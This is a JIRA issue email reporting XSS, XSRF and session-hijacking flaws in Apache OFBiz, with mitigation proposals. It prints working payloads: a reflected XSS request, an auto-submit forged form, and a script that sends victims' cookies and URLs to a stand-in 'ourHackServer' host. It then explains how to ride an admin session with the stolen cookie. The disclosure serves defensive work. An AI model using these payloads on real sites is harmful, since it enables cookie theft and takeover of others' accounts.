[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]
euronymous edited comment on OFBIZ-1959 at 2/23/09 7:40 AM: -------------------------------------------------------------- Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] <!-- Begin Section Widget --> <!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog --> <form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog"> <div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table"> <tr> <td class="label">Catalog [ID]</td> <td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span> </td> </tr> [...] Let me know Michele OrrĂ¹ was (Author: euronymous): Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] <!-- Begin Section Widget --> <!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog --> <form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog"> <div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table"> <tr> <td class="label">Catalog [ID]</td> <td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span> </td> </tr> [...] Let me know Michele OrrĂ¹ > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > ------------------------------------------------------------------------------------ > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS > Affects Versions: SVN trunk > Reporter: Michele Orru > Priority: Critical > Fix For: SVN trunk > > > +++++++++++++++++++++++|||Discovered security > issues|||+++++++++++++++++++++++++ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > <form method="POST" id="xsrf" name="xsrf" > > action="https://127.0.0.1:8443/catalog/control/createProduct"> > <input type=hidden name="isCreate" value="true"> > <input type=hidden name="productId" value="hack02"> > <input type=hidden name="productTypeId" value="DIGITAL_GOOD"> > <input type=hidden name="internalName" value="hack02"> > </form> > <script>document.xsrf.submit(); </script> > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > <input type=hidden name="internalName" > > value="<script>alert(document.cookie)</script>"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > <img src="http://x.x.x.x/malicious.js"> > > The malicious code will look as the following one: > > <script> > var > str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL; > > if(document.cookie.indexOf("done")<0)\{ > document.cookie="done=true"; > document.location.replace(str); > } > </script> > > Of course the code can be a lot shorter, and the "already-exploited-check" > can be removed. > > After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL > (remember document.URL) that will be an > authentication-required resource, the login page will ask us for valid > credentials. > In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new > cookie has been > given to us, because we don't have one. If we modify the JSESSIONID value > with the grabbed > one, and we make the previous request another time (just refresh on the login > page), then > we are riding the same victim session. If we are lucky and it's an admin, we > can do > whatever we want on his/her behalf. > +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++ > Mitigation can be made in two ways: > - Infrastructure: a web application firewall like ModSecurity can be > deployed in front of Tomcat, in enterprise deployments such as > Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will > mitigate XSS and Session Hijacking. > - Application: > XSS--> input validation on form parameters and GET/POST request values must > be implemented. I was thinking > to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI > project (a really good one), or re-using the ModSecurity > Reg-expression patterns to filter out bad input. > XSRF--> build a class that will implement javax.servlet.Filter and will add > to every GET/POST request a random token that will be unique > and will change every time. In this way (if the entropy is enough and the > algorithm good, it will be quite impossible to guess it). > Said all of that, we really support Ofbiz! -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.